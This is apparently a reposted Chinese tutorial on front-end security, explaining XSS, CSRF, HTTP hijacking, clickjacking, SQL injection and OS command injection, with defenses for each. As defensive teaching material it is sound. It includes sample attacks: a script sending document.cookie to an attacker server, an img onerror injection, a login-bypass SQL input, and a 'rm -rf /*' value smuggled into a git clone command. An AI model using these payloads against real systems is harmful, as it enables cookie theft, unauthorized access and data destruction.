前端安全那些事

写在前面:web安全在当下是个不可避免的问题,想要完成一个“安全”的产品,需要前后端都做好抵御攻击和安全隐患的防护,这里笔者就前端安全的方面做一个较为全面的攻略以待备用。

为什么要攻击


这里引用一位大牛的话:开发者不可能确保自己的应用绝对无法被攻击,但是只要攻击我们的时候,黑客花费的成本远比他要可以获取的利益大得多,黑客就不会去攻击。总而言之,提高我们产品的安全系数,虽然不能做到“绝对”,但起码能“很安全”。

前端攻击都有哪些形式


1:XXS攻击

1.1 是什么

百度百科的定义是:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。因此我们可以直接理解为一种javascript代码注入。根据攻击的来源,XSS 攻击可分为存储型反射型DOM 型三种。
那如何实现代码注入呢?我们知道,当浏览器遇到html中的script标签的时候,会解析并执行标签中的js脚本代码,那么如果有心者在可输入框中输入含有script标签的话,就可以执行其中的代码了。
场景如下:



  
    
    
  
  
    
    
前端安全那些事_第1张图片
企业微信截图_15560777108471.png

可以看到当使用jquery的DOM插入方法来显示值的话,能够执行其中的html代码。(这里我还验证了react的传值方法,发现目前的主流框架已经做了一些处理不会发生此类情况)。所以当有心者在输入框中执行以下代码,就可以拿到用户在这个域名下的cookie或者其他隐私了。

$.ajax({
    url: '自己的服务器',
    dataType: 'jsonp',
    data: {'盗取的用户cookie': document.cookie}
});

此类状况的解决方式
1.1.1 如何解决
1:将script标签的左右尖括号(><)进行转义再赋值。
2:通过前端输入判断禁止特殊字符的键入。
3:使用$.text()方法来动态赋值。

1.2 img标签的注入

用户分享图片的正常情况下,我们会给img的src附上一个url地址作为图片的资源,但是如果我们附上的地址为\" onerror=\"javascript:alert('error');\"时,将会执行onerror里的方法。这就引发了注入的攻击。
1.1.2 如何解决
如1.1.1,对图片地址再进行转义。

1.3 url的注入

可能存在这样的场景,就是有时候编程人员会直接从url获取某些值作为变量输入,但是,这里面存在一个风险,如果有心者在URL的这个参数中,加入js代码,这样便又会被执行。
场景如下:



  
    
    
  
  
    
    
前端安全那些事_第2张图片
企业微信截图_15560895477512.png

1.1.3 如何解决
像这种从url中获取的信息,笔者建议,最好由后端获取,在前端转义后再行输出。避免直接从url上面读取。另外链接跳转,如

1.4 保护好cookie

如果道高一尺,还是不幸被攻击者攻击了,又该如何。其实,很多时候,我们的敏感信息都是存储在cookie中的(所以不要把用户机密信息放在网页中),想要阻止黑客通过js访问到cookie中的用户敏感信息。那么请使用cookie的HttpOnly属性,加上了这个属性的cookie字段,js是无法进行读写的,只能从后端获取。(好像只能通过后端的方式来设置)

1.5 设置内容安全策略

CSP其实就是一个白名单策略,允许的域才能加载,其他一律拒绝。
使用CSP有两种模式:meta设置http响应头设置
meta设置

http响应头设置
response: {
Content-Security-Policy: "CSP指令"
}

CSP指令集合:
default-src // 默认规则,某些类型没有特定规则时,则使用默认规则
script-src // javascript规则
style-src // 样式规则
img-src // 图片规则
connect-src // 链接规则,如ajax、websocket
font-src // 字体规则
object-src // 标签引入flash插件的规则
media-src //

CSP指令集合:
空 // 不做限制
'none' // 不允许任何内容
'self' // 允许同源(协议/域名/端口)
data // data协议,如base64的图片
binnie.qq.com // 指定域名
*.qq.com // 指定某个域
https://binnie.qq.com // 指定协议域名
https: // 允许https
'unsafe-inline' // 允许加载inline资源
'unsafe-eval' // 允许动态js,如eval()

2 CSRF攻击

2.1 CSRF攻击是什么

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”。简单得说就是网站中的一些提交行为和信息,被黑客利用,你在访问黑客的网站的时候,进行的操作,会被操作到其他网站上。

2.2 get请求式攻击

这种方式的攻击在jsonp型的接口里很常见。由于jquery的jsonp方式可以跳过客户端的同源策略跨域请求jsonp;

  

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。

2.3 post请求式攻击

这种类型的CSRF利用起来通常使用的是一个自动提交的表单,如:

 

当用户打开安全网站后,在信息验证有效期内访问攻击网站的时候,表单会自动提交,相当于模拟用户完成了一次POST操作。

2.4 CSRF特点

  • 攻击一般发起在第三方网站,而不是被攻击的网站。
  • 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;
  • 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。

总之,CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,这样就跨过同源策略,导致更容易受到CSRF攻击。

2.5 CSRF防御

1:同源检测
后端可以使用Referer Header确定来源域名。因为根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址。对于Ajax请求,图片和script等资源请求,Referer为发起请求的页面地址。对于页面跳转,Referer为打开页面历史记录的前一个页面地址。但是这种方法并非万无一失,Referer的值是由浏览器提供的,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障。而且在部分情况下,攻击者可以隐藏,甚至修改自己请求的Referer。
2:CSRF Token
首先,当用户打开页面的时候,服务器需要给这个用户生成一个Token,该Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合。因此,为了安全起见Token最好还是存在服务器中,在页面提交的请求携带这个Token,然后通过服务器验证Token是否正确。当用户从客户端得到了Token,再次提交给服务器的时候,服务器需要判断Token的有效性,验证过程是先解密Token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个Token就是有效的。
3:添加验证码
在必要的且信息敏感的使用场景中加入验证码操作来验证用户信息。

3:HTTP劫持

3.1 什么是HTTP劫持
HTTP劫持是在使用者与其目的网络服务所建立的专用数据通道中,监视特定数据信息,提示当满足设定的条件时,就会在正常的数据流中插入精心设计的网络数据报文,目的是让用户端程序解释“错误”的数据,并以弹出新窗口的形式在使用者界面展示宣传性广告或者直接显示某网站的内容。————百度百科
其实除了HTTP劫持之外还有DNS劫持,只是已经被严管了,发生的概率较小。
3.2 劫持分类
按照劫持的方法不同,将劫持分为下面两类:
跳转型劫持:用户输入地址A,但是跳转到地址B
注入型劫持:有别于跳转型型劫持,指通过在正常的网页中注入广告代码(js、iframe等),实现页面弹窗提醒或者底部广告等,又分为下面三个小类:
注入js类劫持:在正常页面注入劫持的js代码实现的劫持
iframe类劫持:将正常页面嵌入iframe或者页面增加iframe页面
篡改页面类劫持:正常页面出现多余的劫持网页标签,导致页面整体大小发生变化
3.3 防御劫持
1:使用HTTPS ,因为https 加了SSL协议,会对数据进行加密。
2:在开发的网页中加入代码过滤,利用JavaScript代码检查所有的外链是否属于白名单。例如在window 监听 DOMNodeInserted 事件,上报插入的dom、分析插入的dom 信息。(通常匹配所有的url,逐个比较是否白名单域名,如果不是,则判定为劫持,上报的同时,移除dom.parentNode.removeChild(dom));

4:点击劫持

4.1:什么是劫持

点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。比如,用户在登陆 A 网站的系统后,被攻击者诱惑打开第三方网站,而第三方网站通过 iframe 引入了 A 网站的页面内容,用户在第三方网站中点击某个按钮(被装饰的按钮),实际上是点击了 A 网站的按钮。

4.2 如何防御

设置X-FRAME-OPTIONS
X-FRAME-OPTIONS是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头 就是为了防御用 iframe 嵌套的点击劫持攻击。
该响应头有三个值可选,分别是

  • DENY: 表示页面不允许通过 iframe 的方式展示
  • SAMEORIGIN: 表示页面可以在相同域名下通过 iframe 的方式展示
  • ALLOW-FROM: 表示页面可以在指定来源的 iframe 中展示

5:SQL注入

5.1:SQL注入是什么

SQL注入是一种常见的Web安全漏洞,攻击者利用数据库这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

5.2:SQL注入攻击过程

比如在前端的登录表单提交时

Username:

Password:

后端的 SQL 语句可能是如下这样的:

let querySQL = `
    SELECT *
    FROM user
    WHERE username='${username}'
    AND psw='${password}'
`;

如果有一个恶意攻击者输入的用户名是 admin' --,密码随意输入,就可以直接登入系统了,因为

SELECT * FROM user WHERE username='admin' --' AND psw='xxxx'

在 SQL 中,' --是闭合和注释的意思,--是注释后面的内容的意思,所以查询语句就变成了:

SELECT * FROM user WHERE username='admin'

所以,一次SQL注入的过程包括以下几个过程:

1.获取用户请求参数
2.拼接到代码当中
3.SQL语句按照我们构造参数的语义执行成功
SQL注入的本质:数据和代码未分离,即数据当做了代码来执行。

5.3:SQL注入防御

1:严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害
2:后端代码检查输入的数据是否符合预期,严格限制变量的类型,例如使用正则表达式进行一些匹配处理。
3:对进入数据库的特殊字符(',",\,<,>,&,*,; 等)进行转义处理,或编码转换。
4:所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。

6:OS注入

6.1:OS注入是什么

OS注入和SQL注入类似,OS命令注入是针对操作系统的攻击。OS命令注入攻击指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。倘若调用Shell时存在疏漏,就可以执行插入的非法命令。因为命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。也就是说,通过命令注入攻击可执行操作系统上安装着的各种程序。

6.2:OS注入攻击过程

假如需要实现一个需求:用户提交一些内容到服务器,然后在服务器执行一些系统命令去返回一个结果给用户

// 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* 用户输入的参数 */};
exec(`git clone ${params.repo} /some/path`);

params.repo传入的是 https://github.com/admin/admin.github.io.git 确实能从指定的 git repo 上下载到想要的代码。
但是如果 params.repo 传入的是 https://github.com/xx/xx.git && rm -rf /* &&恰好你的服务是用 root 权限起的就糟糕了。

6.3:OS注入防御

  • 后端对前端提交内容进行规则限制(比如正则表达式)。
  • 在调用系统命令前对所有传入参数进行命令行参数转义过滤。
  • 不要直接拼接命令语句,借助一些工具做拼接、转义预处理

你可能感兴趣的:(前端安全那些事)